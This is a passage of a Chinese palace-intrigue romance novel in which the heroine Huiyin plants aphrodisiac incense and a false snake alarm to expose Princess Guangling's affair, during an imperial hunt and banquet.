曾经被她强压在心底的猜想再次涌现出来。 徽音从来都明白自己的优势在哪,她有一张很漂亮的脸蛋,依靠这张脸,她可以获得很多。 她那时若选择吴王,入吴王府,凭自己手段讨吴王欢心并不难,也许很多事情会比现在简单的多。 她不喜欢吴王,甚至可以说厌恶。相比于吴王,她选择了裴彧。临都驿站那夜,她也是抱着献身的想法去找的裴彧的。 只是后来,一切都偏离的轨道,得知裴彧对她没有兴趣时,她是松了口气的,最起码,她还能保留最后一点自尊。 徽音和其他人一样,一直都明白裴彧心中有人。她很羡慕柳檀,能得到一个人全心全意的守护和等待。 徽音想,裴彧也许没对她动心,但他一定是有些许喜欢她,男人对女人的那种喜欢。 喜欢一个和有其他人并不冲突,世家子弟,三妻四妾是常态,如她父亲只有她母亲一个妻的才是奇怪。 徽音不通情爱,但能感觉到裴彧对她越发的不同,他看她的眼神和从前的冷淡大不一样。 她以为裴彧是改变主意了,想要她。但中药那夜没动她,是良心发现对不起柳檀,还是守着君子之风。 徽音想到这里莫名觉得好笑起来,君子之风,裴彧有君子之风吗? 她定了定心神,蹲在裴彧身前,认真的解释:“冯承对我而言,犹如兄长,我很感激他处处帮我,你不要为难他了好不好?” 徽音看着裴彧柔软下来的神色又补上一句:“我和他之间只兄妹情谊,绝无其他。” 裴彧轻哼出声:“那你今日还为他来质问我?” 徽音:“……”这怨妇口吻是什么情况,还有,她哪里质问了? 她继续顺毛,“一时情急,少将军心胸开阔,必不会跟小女子一般见识。” 裴彧噙着笑,低头捧着徽音的脸,贴着她的额头,“你何时这么会说话了。” 徽音不好意思的后撤,她摸摸发烫的脸,引诱裴彧一事真不好做,需得有强大的自制力,否则被引诱的还不知道是谁。 “我今日来,还想问你,我阿弟可有消息传来?” 裴彧握着她软软的手掌,没有放开,他“出事那日崖下经过一队商队,也许你弟弟被他们带走了,我已经派人去追了,不日就会有消息传来。” 徽音有些想哭,这是这三个月来,她听到最好的消息。 “谢谢你,裴彧。 —— 六月初一 三千虎贲兵将整个苑林围成铁桶,十二面玄底蟠龙旗分立七十二处高地。 宣帝立在苑林最高的阙楼中,满意的望着底下军纪严明的军队。他身侧陪候着三公九卿,列侯宗室。 随着他手上的玄龙旗挥下,军队如同沉睡的火龙苏醒,四处游动起来。 战鼓响起时,北军校场三千匹战马同时刨动前蹄,嘶鸣不绝。左右两翼突骑迅速合拢变换方阵,如同一只箭羽只插山脉。 三千骑兵崩腾起来,那声音,如雷声轰鸣。少顷,骑兵方阵再变,环形阵,散兵阵,方阵。 阵法变化多端的情况下,三千骑兵训练有素,没有一骑出错,可见这些士兵骑术精湛,训练有方。 此时,兵阵掉头回转,三千骑一同朝着苑林方向行去,最前方一马当先冲出一个人影,那人身披赤色披风,头戴武冠,即使离的很远,也依稀能见其脸型轮廓,俊俏不凡。 他遥遥领先,片刻后,竟一跃而起站在马背上,身形稳健,臂挽长弓,一剑直接射穿苑林下方竖着的长旗。 “好!” 宣帝惊叹,他眯着眼望去,捉住身侧的丞相问,“你看那个赤色披风将领,是不是元晞?” 丞相脸上褶子聚成一团,他笑道:“陛下好眼力,正是裴将军。” 武帝大笑:“这小子一马当先,方才你们瞧见没,他站在马上挽弓,英姿勃发,颇有其父风姿啊!” 众人附和道:“有其父必有其子。” 宣帝难得惆怅两分,他想起年轻和裴擎一起上马打猎的场景,那时他们都还很年轻,很热烈。如今故人已逝,音貌却还在。 女眷们早已在平地搭的高台落坐,此处没有阙楼俯瞰那般震撼,但千骑奔腾的画面,对于她们这些大门不出二门不迈的女眷而言冲击非凡。 徽音盯着那道疾驰的身影,乌骓马踏得尘土轻扬,那人俯身贴在马背,猩红披风像团燃着的火,被风扯得猎猎作响。 许是察觉到什么,他忽然抬眼望来,明明隔的很远,那一眼却直直忘进徽音心里。 下一瞬,马背上的男子手腕轻转,反握的长枪如银蛇出洞,他在马背上跃起,长枪在掌心转出半圆银弧。 徽音尚未看清他动作,他已稳稳落回马背上,长枪斜指地面,英姿勃发,所向披靡。 宴席依旧是男席右,女席左,正南方的高台上摆着两个尊位,裴后居左,依次往下是郑妃,肖妃等人,平妃留在宫中侍奉平太后。 在往下看,就是三公九卿的女眷,徽音和贺佳莹坐在裴夫人身后,挨着肖妃娘娘,两位公主被陛下叫去了阙楼,此刻不在。 宴席高台后面,源源不断的冰鉴不间断的送来,再由宫人抬到每一个座位后放置,摇扇送风,原本还燥热的高台瞬间凉快下来。 席间有人恭贺道:“裴将军英武不凡,日后前途必定不可见谅。” 裴夫人笑的跟朵花一样,掩唇道:“妾只希望几个孩儿平安健康,至于前途,不强求。” 郑妃冷嗤一声:“裴夫人,这话说出来你看有人信吗?” 她这些时日被广陵日益哭诉扰的烦不胜烦,她去求陛下,陛下却同她打马虎眼,说什么皇子公主犯法与庶民同罪。 郑妃气不过,叫人打听清楚原由,这才知道广陵做下的蠢事,偷鸡不成蚀把米,还将自己折进去。 另她更气的裴彧,为了一个宋徽音,竟敢对广陵出手,太不把他们郑家放在眼里了。 裴夫人被挤兑,面色瞬间一僵,难看的低下头。 裴后看不惯郑妃嚣张的劲,但她是国母,不好在大庭广众之下同妃嫔打嘴仗,没得叫人看笑话。 裴夫人又是个气短的,一句话就叫她缩了回去不敢吱声。 郑妃也是拿住这点,有恃无恐,继续讽刺道:“说什么不求前程,只求平安,先叫你儿子卸了身上的官职再说。” 坐在一旁的肖妃娘娘见状出声解围,“做母亲的自然是希望孩子平安健康,其他的不求。” 郑妃轻摇执扇,眼波流转:“真是笑话,你一个没生养过的,也配说这句话。” 徽音坐在裴夫人身边,看着她低垂的头颅微不可察的皱眉。 她抬头望去,郑妃今日穿了身绛紫相间的深衣曲裾,她身材丰腴,容貌艳丽,举手投足间带着成□□人的风韵,霎是好看,广陵公主的相貌就是继承了她的。 一旁的裴后衣着正红,高髻上簪着朵盛放的芍药花,雍容典雅,仔细看去,她嘴角的笑意要比平常低三分。 而方才出声解围的肖妃,一如既往的低调,郑妃那句不曾生养的话一出,她脸上的血色瞬间消失,默默不语。 其他就就近的夫人都在与身边的人谈笑,似乎完全没听见上位的交锋。 郑妃见此情形,气焰更加嚣张,她的话音比方才还要高两分,脸上笑容艳丽。 贺佳莹凑到徽音耳边求道:“郑妃娘娘太过分,你能不能教训她一顿。” 徽音面无表情的转过去,瞪着她。 贺佳莹心虚的低下头,她现在觉得徽音无所不能,一个小小的郑妃自然不在话下。 徽音沉思片刻,还是提着裙摆上前跪坐到裴夫人身边,假装献殷勤替她倒酒。 裴夫人疑惑的转头,徽音不动声色的凑过去教她。裴夫人听闻顺便活络过来,眼神发亮。徽音叮嘱完后,回了原位。 “妾身所言句句真心,娘娘您是不知道,元晞上了战场后身上没一块好肉啊。” 裴夫人眼泪说来就来,噼里啪啦的打在案几上,她捂着嘴泣道:“他去边关后,妾是日日夜夜担忧,深怕他有个好歹。他回京那年,胸口一刀足足养了三个月才好啊啊……” 一番话说的是情真意切,抑扬顿挫。 郑妃被她一顿又哭又嚎截住声音,她坐着身体,细细打量掩面哭泣的裴夫人,什么时候这面团捏的人也会回嘴了? 一时间,她竟忘了反驳。 裴后也是一脸吃惊的望着嘤嘤哭泣的裴夫人,她这个嫂嫂是真真的烂泥扶不上墙,不管是谁,三两句话就能将她吓住。 裴家其他两房外放,整个裴府就她一个女眷,不论谁家宴请她都得到场。裴后也是花了不少心思教她,不论她学的多认真,内里说的多好听,一到外头,那气的就下去了。 裴后怒其不争,却也无可奈何,她总不能打骂寡嫂。她催促裴彧成婚一是希望裴彧绵延子嗣,二则是希望赶紧娶一位能撑得住的宗妇接替裴夫人。 她眼角扫过裴夫人身后浅笑的徽音的,心中了然。不动声色的端起茶碗给肖妃使了个眼色。 肖妃会意,连忙叫人扶住裴夫人,“夫人呐,都知道你苦。裴将军这一身功勋都是他自个拿命博回来,都是他应得的,可别听那起酸话,都是嫉妒你。” 郑妃忍着气,瞪着肖妃:“你什么意思,谁说酸话,你给本宫说清楚!” “我可怜的儿啊!!” 裴夫人突然加大声音哭嚎,将郑妃的声音完完全全的覆盖过去。 徽音嘴角抽了抽,偷偷去扯裴夫人的衣角,她只叫裴夫人示弱以退为进,忘记叮嘱她被演太过了。 裴后及时出言:“好了,今日是个好日子,不提那些伤心事了。元晞如何,陛下心中自然有数,以后也不会亏待与他。” 裴夫人含泪“哎”了一声,低头装作擦泪,偷偷去瞄身后的徽音,我做的还不错吧。 徽音鼓励的点点头,人就是要多夸夸,越夸越有干劲。 裴夫人得到首肯后果然喜笑颜开,挺直腰板的端坐着,一副雄赳赳气昂昂的模样。 少顷,宣帝领着三公九卿来到高台一一落坐,他先是如同那日宫宴一般说了两句,而后又夸赞了裴彧一番。 什么虎将云云,有乃父之风云云。 夸完后,他一脸跃跃欲试的问身侧的裴后,“阵记得从前皇后骑术亦是精湛,今日可要下场试试?” 裴后笑道:“陛下折煞妾了,妾多年不曾动弹,骑艺生疏,就不去凑这个热闹了。妾就在这里等着陛下今日满载而归。” “也罢,”宣帝又问郑妃,“你呢?” 郑妃扫了眼裴后,娇笑道:“妾当然要去了,陛下可是答应过妾,要教妾骑射的。” “好好好,随朕去更衣。” 郑妃走到宣帝身边,挑衅的看着裴后。 裴后懒得理她,望着走来的裴彧,脸上笑意加深。 宣帝带着郑妃一走,裴后就吩咐宫人将郑妃的案几撤下去,换上了一张更宽换上了一张更宽敞的紫檀木矮案。 她吩咐宫人将肖妃,苏静好,徽音还有贺佳莹四人叫到她身边。 等人都齐了后,她便叫人都落坐,兴致勃勃的让姚兰摆上六博棋盘,拉着四人开赌。 肖妃掩面笑到:“娘娘今日怎么想起玩这个。” “今日高兴,赌两局亦无妨。”裴后笑吟吟的回道。 裴后坐在主位上,右手边是肖妃,左手边则是苏静好,徽音和贺佳莹坐在一面。 苏静好问:“娘娘想玩多大的?” 裴后挑眉,“玩把大的,一局一锭金,如何?” 肖妃:“好啊,正愁最近没钱花,皇后这便送钱来了。” “你就会说大话。”裴后笑骂道。 苏静好虽不太喜欢六博戏,却也不会当众扫裴后的兴。贺佳莹更是一听一局一锭金眼睛就亮了,唯一徽音一脸菜色,无它,她没钱,她穷。 徽音内心挣扎片刻,还是小声开口:“娘娘,妾……没钱。” 裴后没有听清,“什么?” 苏静好接的比谁都快,“娘娘,徽音妹妹说她没钱呢。” 徽音避开她嘲笑的眼神,祈求的望着裴后,希望她发话说让自己不用参与了。赢了皆大欢喜,若是她连输几局,她上哪里去凑钱,总不能找冯承去借吧。 裴后先是一愣,随后失笑出声,她和肖妃两人笑了好一会才停。 徽音有些尴尬,身侧的贺佳莹还在说可以借钱给她。 裴后看了眼和贺佳莹嘀嘀咕咕的徽音,一脸趣味的叫人去喊裴彧来。 徽音按下贺佳莹借钱的想法,抬头去看皇后。却见裴后狭促的望着她身后,道:“裴元晞,你就是这么为人夫君的,连钱都不给用?” 徽音浑身僵硬,不敢回头。她听见裴彧那熟悉的腔调,他在笑,“姑母,侄儿不明白,请您明言。” 裴后逗着徽音:“予今日难得来趣想赌上两局,可你这小娘子她没钱啊?” 徽音低垂着头,耳尖染上通红,今日又在他面前丢了个大脸。 熟悉的皂角清香味传来,有人俯身靠近她,将手中的钱袋放在她面前,袋中金饼碰撞的声音清脆好闻。 “赢了算你的,输的算我的。” 徽音抬眼望去,他已经换了一身玄衣劲装,肩宽窄腰,眉毛英挺,眼神明亮,极具英气。 徽音不知道开口说些什么,身后有人在唤裴彧的姓名,他懒洋洋的回头应了一声,然后抬手拍了拍徽音的头,转身离开。 他走后,赌局开始,徽音因为他那句话整个人都有些心神不宁,连输几局,袋子里的金饼已经见底。 一旁的贺佳莹倒是赚的满盆钵满,合不拢嘴。 后面几局,她强迫自己镇定下来,虽没赚,倒也扳回了本。 几人玩了一会后,裴后有些倦怠,先行离去午歇,徽音无视苏静好的讥讽,低头数着带着里头的金饼,等苏静好离去后,她才抬起头。 问身边的贺佳莹:“广陵去了何处?” 贺佳莹指着东阙楼下头的阁间,肯定道:“方才我一直注意着她,她进了那里。” “那面首你看见了吗?” 贺佳莹摇摇头,“会不会是广陵没将他带来。” 徽音:“不会,她那样有恃无恐,宫宴那夜都敢面首偷情,何况今日。” 贺佳莹瞪圆眼,“你……你不是跟我说他们在按摩吗!” “骗你的。” 40-50 第41章 一箭双雕,广陵被逐 徽音拉着贺佳莹, 两人挽在一起,装作累极的模样靠近东阙楼,在宫婢的安排下进了和广陵相差五间的屋子。 贺佳莹进屋子后关上门, 趴在门缝观察,“广陵的屋子外守着四个宫人, 咱们进不去啊。” 徽音在屋子里绕了一圈,环顾四周后推开窗向后望,屋后是一片泥地,与墙壁相隔一有一段距离, 只能供一个人过。 她们这间屋子和广陵那间在一侧,翻窗出去可以绕到广陵屋子后方。 徽音叫来贺佳莹, 两人身形纤细, 贴着墙一路摸过去,停在广陵屋后, 侧耳听着里头的动静。 听了好一会,里头一丝动静也无。徽音从发髻下去下一只细根银钗,悄无声息的撬开窗户。 贺佳莹望着她这副操作,呆呆的张大嘴巴,不是, 你怎么还会撬窗啊? 徽音没空理会她, 她轻轻打开窗朝里头望去, 屋内只有广陵一人, 她躺在软榻上, 睡的正香。 那个面首居然不在, 那可麻烦了。徽音想了片刻,打开窗打算翻进去。 贺佳莹连忙拉住她,眼神询问:干嘛?你要进去? 徽音抽回手, 示意她在原地等着,她则动作小心的翻进去,从袖中取出一根檀香,借由屋内的灯台点燃,放在鎏金香炉中燃烧,然后又轻手轻脚的翻出去,拉着贺佳莹离开。 “你进去干了什么,快跟我说说?”才回到她们的屋子,贺佳莹就忍不住问。 徽音神秘莫测:“一根她喜欢的东西。” “嗯?” “催情香。” 贺佳莹捂住嘴,不可置信的问:“你怎么会有那种东西,要是被发现了怎么办。” 徽音低头拍着身上的灰尘装作没听见,她当然是找冯承弄的,冯承听到她要这个也和贺佳莹一样吃惊,追问了好久。 “被发现正好。” 贺佳莹:“为什么,你不怕吗,万一……” 徽音坐下歇了会,在心中默默计算时辰,“那香是从广陵那个面首屋内偷来的,整个甘泉行宫除了他俩别人没有。” “你亲自去偷的?!” “不是。”冯承一时半会弄不到东西,徽音便他去广陵面首那里碰碰运气,结果真的瞎猫碰上死耗子拿到了。 她至今还记得冯承将香给她时看她的复杂眼神,还问她,裴彧看着一副正派模样,私下里居然好这个。徽音不想解释,只好叫裴彧背锅,换来冯承三天的辱骂。 贺佳莹舒了口气,不是她亲自去偷的就行,她觉得自己得缓缓了,今日的徽音实在给她太多的惊吓了。 她疑问道:“可是你放那个香有什么用,那面首又不在。” 徽音百无聊赖的翻着茶盖,“广陵会叫他来的,届时也查不到我们身上,人也是她自己叫来的,就算发现香,那也只能是他们自己助兴用的。” 冯承说这香叫锁合欢,用于女性,吸食后会极度渴望云雨之事,市面难得,多供王公贵戚使用。不过这些倒也不用说出来污贺佳莹的耳。 两人在屋内等了片刻,广陵那边很快就有了动静,贺佳莹小跑到门前,看着广陵的贴身宫婢奔出去。 她深吸一口气,“她真的去喊人了。” 徽音也有些诧异,那香这么对广陵影响这么大?她那日吸食后也是忍了一段时间后才失去渐渐理智。 贺佳莹在屋中焦急的来回踱步,她第一次做这种事情,还是对一位金尊玉贵的公主殿下。 她心中慌乱,害怕出事,想叫徽音停手,但是一想到那人是广陵,她就恨的牙痒痒。 贺佳莹看着徽音镇定的面色,心里也慢慢平静下来,她乖乖的坐在徽音身边,和她一起等着。 贺佳莹:“下一步,怎么办?” 徽音:“不能是我们去拆穿,得叫旁人去。” 贺佳莹:“叫谁呢?” 徽音心里浮现了一个绝佳的人选。 —— 裴后在西阙楼小歇,此处闲人都被清空,只有椒房殿的宫人守在此处,清静悠闲。 檐下,苏静好望着认真处理宫务的姚兰沉思,姚兰是裴后身边的第一人,性子严肃,不喜说笑,不易亲近。 苏静好将随侍在姚兰身侧磨墨的婢女遣走,接替她的位置替姚兰磨墨。姚兰神色认真的低头处理宫务,未曾察觉。 半响,姚兰放下笔,整理好竹简,发觉面前替她磨墨的人居然是苏静好。 她起身行礼,“苏女郎,您怎么……” 苏静好扶住她,笑道:“姚兰姑姑替皇后娘娘掌管内宫事务繁忙,静好有心帮忙却不知该如何做,唯有替姑姑磨些墨。” 姚兰神情柔和下来,拉着苏静好坐下,轻柔按捏她的手腕,“女郎不必如此,您是未来的太子妃,怎能屈尊做这些。” “正是因为我的身份,才更该做这些,姑姑做事严谨一丝不苟,皇后娘娘多次夸赞,静好也想跟在您身边多学些本事。”苏静好面容真挚,轻声细语。 姚兰心中一阵妥帖,拍拍苏静好的手,“女郎不嫌弃,婢子自当尽力相授。” “大长秋。”宫婢上前行礼。 姚兰收回手,脸上笑意收敛,“何事?” 宫婢垂首,“东阙阁楼那边进了蛇,都是些女眷歇息处,虎贲军那边不好去搜,请您定夺。” 姚兰沉吟片刻,道:“你去找蕈芳,让她带着黄门内侍去处理,勿要让女眷出事。” “蕈芳阿姊去了冰鉴司调冰,一时半会回不来。” 姚兰皱起眉,她这里还有好些事没有处理,实在分身乏术。 苏静好见状出声:“姚兰姑姑,我去吧。” “你可以吗?”姚兰有些迟疑,虽说裴后这些时日带着苏静好处理了不少宫务,但都有裴后和自己相陪,不曾独立处理过。 “姑姑放心,我可以的。”苏静好柔和且坚定的笑道。 姚兰松口:“那好,我将张内侍派给你。” —— 贺佳莹趴在门缝处蹲的腿脚发麻,她心中焦急,那面首已经进去好些时候了,怎么人还未到。 她回头去看,徽音趴在案几上闭眼浅寐,神色放松,完全没有一丝担忧。 贺佳莹:“是不是咱们的计谋被人识破了?” 一刻钟前,徽音叫她出去找阙楼的宫人,说看见了一条蛇钻进了屋内,不知道窜哪里去了。 阙楼的宫人一听,立马去找了虎贲军,可现在这时正是阙楼内女眷小歇的时候,虎贲军担心冒犯不敢进,又只好去禀告了裴后。 徽音闭着眼回:“一来一回需两刻钟,再等等。” 贺佳莹好奇道:“你怎么保证来的一定是会是苏静好?” 徽音睁开眼,趴在案几上到底不舒服,她揉揉眼驱走困意,“这几日她铆足了劲讨皇后娘娘欢心,今日椒房殿人人都忙,空不出人手,算来算去,也就她能来了。” 话音刚落,外头就传来动静,贺佳莹继续凑上去看,果然看见苏静好带着一众宫人赶来,同守在外头的宫人交涉。 “来了,她真的来了。”贺佳莹小声叫道,招呼徽音快来看。 徽音走上前,径直打开门,领着贺佳莹出去。途径苏静好身边时她停下脚步,浅浅笑道:“这是在做什么?” 苏静好没回,而是盯着徽音问:“你怎么在这里?” 贺佳莹捂着嘴长长的打了个哈欠,“好困,没睡够。” 徽音侧头看着她,眼底露出笑意,不错嘛,挺机灵的。 苏静好放下戒心,冷淡的转身,“东阙楼进了蛇,没事就赶紧离开。” 她转身吩咐宫人们准备好雄黄粉和长棍,再让宫婢一间一间去敲门,将阙楼内的女眷都唤出来。 贺佳莹心叫不好,她这么一间一间的敲下去,迟早惊动广陵,广陵屋子前守着的宫婢已经注意到这边的动静了。 “蛇?”徽音疑问道,“可是一条通体碧绿,双眼赤红的青蛇?” 苏静好心中的不对劲再次涌上来,她转身盯着徽音,不加掩饰的打量。 有宫人害怕的抽气道:“那可是剧毒花青蛇,咬上一口,半个时辰内不能解毒,就没救了!” 贺佳莹顿时吓的瑟瑟发抖,抱住徽音的手臂叫道:“我好像也看见了。” 被喊出来的女眷瞬间骚乱起来,相携着要涌出去,苏静好见事态失控,顾不得去在意徽音。 她扬声道:“大家不要害怕,依次离开,我已准备好雄黄粉,虎贲军也在外面守着,不会有事的。” 有人问:“这位女郎,那蛇钻去哪里了?” 贺佳莹和徽音对视一眼,不约而同的抬手指着远处一间房屋,异口同声道:“钻进那里了!” 众人顺着他们指向的方向望去,那间屋子外守着四个的宫人面面相觑,不知发生何事,其中一个机灵的已经转身开始拍门了。 苏静好心中不安的感觉越发深了,她问:“谁在里面歇息?” 宫人回想片刻,大惊失色:“是广陵殿下!” “那可得快去救人,殿下千金之躯,若是有个好歹如何是好?” “对啊,方才那宫人突然拍门,是不是听见殿下惊叫的声音了?” “距那蛇发现的时间已经过去半个时辰了,殿下会不会?” “住口!”苏静好喝住众人的议论,阴狠的划过躲在后头的两人,她这是叫人给算计了。 广陵屋内必然有些不能见人的东西,若是被她撞破后果不堪设想。 徽音加了把火,“静好,快些救人吧。若广陵殿下在这里受伤,郑妃娘娘必不会善罢甘休,说不定会牵连到皇后娘娘身上。” 苏静好身后跟来的张内侍一听,也觉得有理,郑妃素来和裴后针尖对麦芒,四处找裴后麻烦。 若因他们耽误时间,导致广陵公主出手,郑妃定会向皇后发难,陛下也宠爱广陵公主,到时候只怕要出大乱子。 想到此处,他连忙请示苏静好:“苏女郎,不能再拖了,我们快过去。” 苏静好目光阴沉,她此刻犹如被架在火上,进也不是退也不是。 “你们带人过去,先不要着急破门。”她冷声叮嘱。 众人朝广陵公主所在的屋子走过去,守在屋外的几个宫人神色肉眼可见的慌乱起来,拍门的那个更是力道加大。 苏静好见她们这模样,心中更是笃定屋中场景见不得光。 守在屋外的宫婢上前拦住众人,肩膀颤抖,眼神闪躲,“广陵殿下在此休息,你们这是干什么?” 张内侍掐着嗓子道:“阙楼内钻进了一条剧毒蛇,你们速去将公主唤出来。” “毒蛇,没……没有啊。” 张内侍眯起眼,他在宫中混了这么多年,看人的脸色是最准的,今日这事蹊跷的很,分明是有人引他们故意来。 只怕这屋内毒蛇没有,倒是些旁的什么。他是裴后的人,只要是对裴后有益处的事,张内侍都会去做。 “你说没有就没有,滚开!耽误了殿下的性命,你有几条命赔!” 张内侍朝后挥手,吩咐道:“来人啊,撞门!” “张内侍!”苏静好喝住他,“皇后娘娘派你是来协助我,没有我的吩咐你不要轻举妄动。” 张内侍细眉微动,略微后退一步躬身,态度谦卑:“苏女郎说的是,那就您来破门?” 广陵那拍门的宫婢回身喝道:“殿下在此,你们岂敢放肆!” 苏静好面色难看,张内侍这个老东西看似说由她来做主,实则已经叫人围着了屋子,密不透风。 她凝视那扇门,问:“动静这般大,广陵殿下为何没有动静?” 若是广陵能自己出来解围,问题就迎刃而解了。 苏静好高呼:“广陵殿下,可安好否?” 屋内依旧无声。 贺佳莹看着这场面,摸着胳膊上激起的鸡皮疙瘩,神情激动的问徽音,“你说,她在里面干什么?” “不知。”徽音也很奇怪,今日她这局设的匆忙,漏洞百出,她已经做好了会失败的准备。 只是不知,广陵为何到现在全无动静,那香应该也不至于叫她昏睡过去吧。 又等了片刻,屋中依旧没有动静,张内侍满脸不耐烦,不满的望着苏静好。 “苏女郎?” 苏静好见拦不住,后退一步,深吸一口气下令:“破门!” 那最先敲门的宫婢反应极快,张开双手拦在门前,双眼泛红的冲其他三人怒吼:“愣着做什么,还不快过来拦着!” 那三人被喊回神,扑到门前,护住木门,警惕的看着众人。 宫婢咬牙喊到:“殿下正在休息,你们若是敢擅闯,待殿下醒来定饶不了你们!” 她这话不仅仅是说给张内侍等人听,更是说给其他三人听的。她们都知屋内有什么,若叫人闯了进去,第一个送命就是她们。 张内侍见这几人负隅顽抗,冷哼道:“我看是你们几个婢子谋害主子,担心被人发现这才死死拦住。来人啊,给我捆起来。” 他身后的黄门内侍一拥而上,三两下就将四个宫婢捆住制服。其中不肯放弃,扯着嗓子大喊,“殿下!殿下!” “吵死了,堵住她的嘴!” “唔……唔……” 张内侍转身笑眯眯的望着苏静好,伸手有请,“苏女郎,您来?” 苏静好此刻恨不得抓花他的笑脸,挖了他的眼睛。她若推开扇门,广陵必饶不了她,更要命的是,她还有把柄在广陵手中。 不过,相比于裴后的重视和广陵的报复,她更看重裴后。广陵不过是只纸老虎,倚仗的都是她背后的陛下和郑家,其本身不堪一击。 苏静好抬步上,双手推上木门,手下使力。 “吱呀——” 木门大开,一股咸腥味扑鼻而来,苏静好被这气味扑了满脸,难受的掩上鼻。 她抬步走进去,外间屋内无人,她转头去寻床榻,眼前的一幕叫她目瞪口呆,身体僵硬,连身后人进来都没出声阻止。 张内侍领着两人进了门,停在苏静好身侧,他虽是没根,对男女之事却并不陌生。这满屋的气息他一闻便知发生什么。 只不过,他也没想到,这位金尊玉贵的公主,会玩的这么花。 在意识到他看见什么时候后,张内侍那张老面皮一红,连忙将身后两人赶出去,自己也跟着推出屋外掩上门,只将苏静好留在了里面。 他退出屋,心跳的极快,连忙吩咐去将皇后请来,“记住,一定要皇后娘娘亲自前来!快去!” 张内侍缓了片刻,清清嗓告知屋外等着瞧热闹的众女眷们:“广陵殿下万幸无事,正在午歇,各位夫人先去高台吧。” 说罢,他便吩咐手下的小黄门将众夫人都送走,徽音和贺佳莹也在其列。两人收回好奇的视线,跟着大部队身后,听着前方络绎不绝的议论和猜测。 贺佳莹偷偷咬耳朵,“不应该啊,怎么什么都没发生,里头没人?” 徽音回忆着方才的情形,那张内侍出来时分明手脚慌乱,神色惊讶,他是皇后身边的老人,在宫中待了二十多年。不过一偷情事件,何至于让他露出这般神色。 “不对劲。” “怎么说?”贺佳莹问。 “苏静好进去后转身看着床榻的方向,整个人都呆愣住,傻在原地,你说她瞧见了什么?” 贺佳莹摸着下巴猜测,“是啊,她可是速有贤名,礼仪出众,不论多难堪的场景她都能面不改色。怎么今天呆住了?” 徽音猜来猜去也猜不出个所以然,索性去的都是裴后的人,就算发现了什么端倪也会替徽音遮掩,她倒是不担心事情败露。 “不想了,一击不成再出一击便是,虽不知道里头情况如何,但捉奸在床定避免不了,够她吃一壶的了。” 苏静好脸色掺白的扶着墙从屋里走出来,守在外头的张内侍迎上去询问,“苏女郎,您没事吧?” 苏静好冷冷瞧了他一眼,扶着墙壁坐下。今日事对她这个尚未出阁的女郎来说实在是冲击太大了,她脑中不禁浮现方才所见的场面,一股恶心感从胸口升起。她在也忍不住,捂着嘴干吐起来。 方才她进去时,瞧见床上躺着两条赤裸裸白花花的身体,衣裳胡乱的扔在地上,屋子内弥漫的檀腥味直冲她天灵盖。 广陵和那男子趟在床上不省人事,那男子脸朝着门口的方向,容貌颇为眼熟,嘴唇泛白。而广陵匍匐在他身上,双腿夹在他的两侧,身体紧紧相连,两人身上皆泛着大大小小的红痕。 苏静好实在没有想到,广陵居然会如此大胆,堂而皇之的和男子厮混。而她,是撞破这桩辛密的人。 她攥紧拳头,眼底布满阴毒。宋徽音,这局她记下了。 裴后到达时,东阙楼的人都已经被清走,广陵公主也那面首也已经被弄醒看管起来。她丝毫没有害怕,还在屋中不停的谩骂,叫嚣着要将今日在场之人全部杀光。 “你要杀谁?” 苏静好抬头望去,裴皇后一改往日的宽和,此刻的她眉目凌厉,神情威严,深衣曲裾上绣着的五彩金凤活灵活现。 这才是南朝立于深宫二十年不倒的裴氏皇后。 裴皇后亦瞧见了狼狈的苏静好,平静的吩咐身后的宫婢将苏静好扶下去,带着大长秋姚兰进入屋内。 屋内,广陵只穿一件里衣,遮住她那曼妙的身形,她立在屋中央,满地都是被她摔碎的陶瓷片。 裴皇后的织金翘头履稳稳避开碎屑,望着屋中神情愤怒的广陵,抬手将其他人都谴下去。 广陵朝后望了望,没看见郑妃的身影,气势不由得降了三分。她姿态僵硬的朝裴皇后行礼,“母后万安。” 裴皇后立在原地没有动,眉宇间浮上厌恶,“你可知罪?” 广陵哽着一口气,别过脸去不做声。 裴皇后也不在意她的回答,转而看向屋内角落里默不作声的男人,“抬起头来,让予瞧瞧是什么样的人能将金枝玉叶的公主迷的色令智昏。” 广陵再不复方才的硬朗,张开双手挡在面首跟前,她绝不能让皇后瞧见他的样貌,否则她一定会死的很惨。 她直直的跪在地上,含泪道:“母后,儿臣错了,儿臣再也不敢了,求您饶恕。” 裴皇后眼神未变,声音依旧冷漠:“姚兰,按照宫规处置,另外,今夜就将公主送回长安,禁足内廷,无诏不得出。” “至于这面首,”裴后似笑非笑,“就让公主自行处置罢。” 裴后转身屋子,长长的裙摆消失在广陵视线内,她看见那扇门缓缓在她面前关上,不再透过一丝光亮。 广陵浑身瘫软在地,曾经不可一世的面容上布满泪痕,眼睁睁的看着姚兰走进,她攥紧裙摆,缓缓闭上眼。 守在外头的张常侍立马迎上前,低声朝裴后禀告:“奴才在方才那间屋子里找到了催情香。” 裴皇后挑眉,“谁做的?” 张常侍便将今日在场众人的情形一一向皇后说明,他观察皇后的表情道:“奴才猜测应该是宋娘子。” 裴皇后不出意料的笑起来,问:“处理干净了吗?” “娘娘放心,处理得干干净净,下面人也敲打过了,绝不会走露半分风声。” 裴皇后满意的点点头,夸赞道:“做的很好。” 张常侍头垂的更低了些,“还有一事,是苏女郎……” “不必说了。” 裴后抬手制止他,苏静好如何她心中清楚,心性到底是差了些,不如徽音,可惜了。 第42章 要她心甘情愿 咻咻—— 密林里刮过一阵细风, 一支羽箭快速精准的扎进奔跑中兔子的咽喉,倒地的兔子后腿挣扎几下后彻底无声。 负责收捡猎物的赤甲近卫上前,提起兔子的耳朵奔到马队前, 双手举高。 吴王拱手道:”父皇箭法高超,百发百中。" 宣帝表情愉悦, 他朝后摆摆手,“到底是老了,不如当年,不过才拉几次弓, 胳膊就不行了。” 他将收在身后,单手垂着胳膊叹出声, “这天下还是你们年轻人的。” 太子适时出声, “父皇正值壮年,儿臣等还需父皇多加教导。” 吴王:“太子皇兄说的极是。” 宣帝笑笑, 指着前方百米远的一处草丛道:”你们说,那里是什么?” 那草丛忽而动了一下,里头影影绰绰的看不清。 吴王举起手遮住树梢间落下的阳光,眯着眼看去,“父皇, 离太远, 看不甚清晰。” 裴彧在三人身后, 闻言也看过去去, 他目力比寻常人要好很多, 依稀能看见那个东西块头很大, 整个身形隐在草后,似乎是黄色? 宣帝率先骑马上前,风里传来他愉悦的声音:“是个大家伙, 看谁能率先猎住它!” 裴彧握紧缰绳紧随其后,视线略过周遭,他总感觉有些不对劲。 离得近了,那草丛后的响动越发大,没两下,后头钻出一个庞然大物,周身布满黑色核棕黄色的条纹,掌部宽大,是一头虎虎生威的大虫。 “陛下,是大虫!” 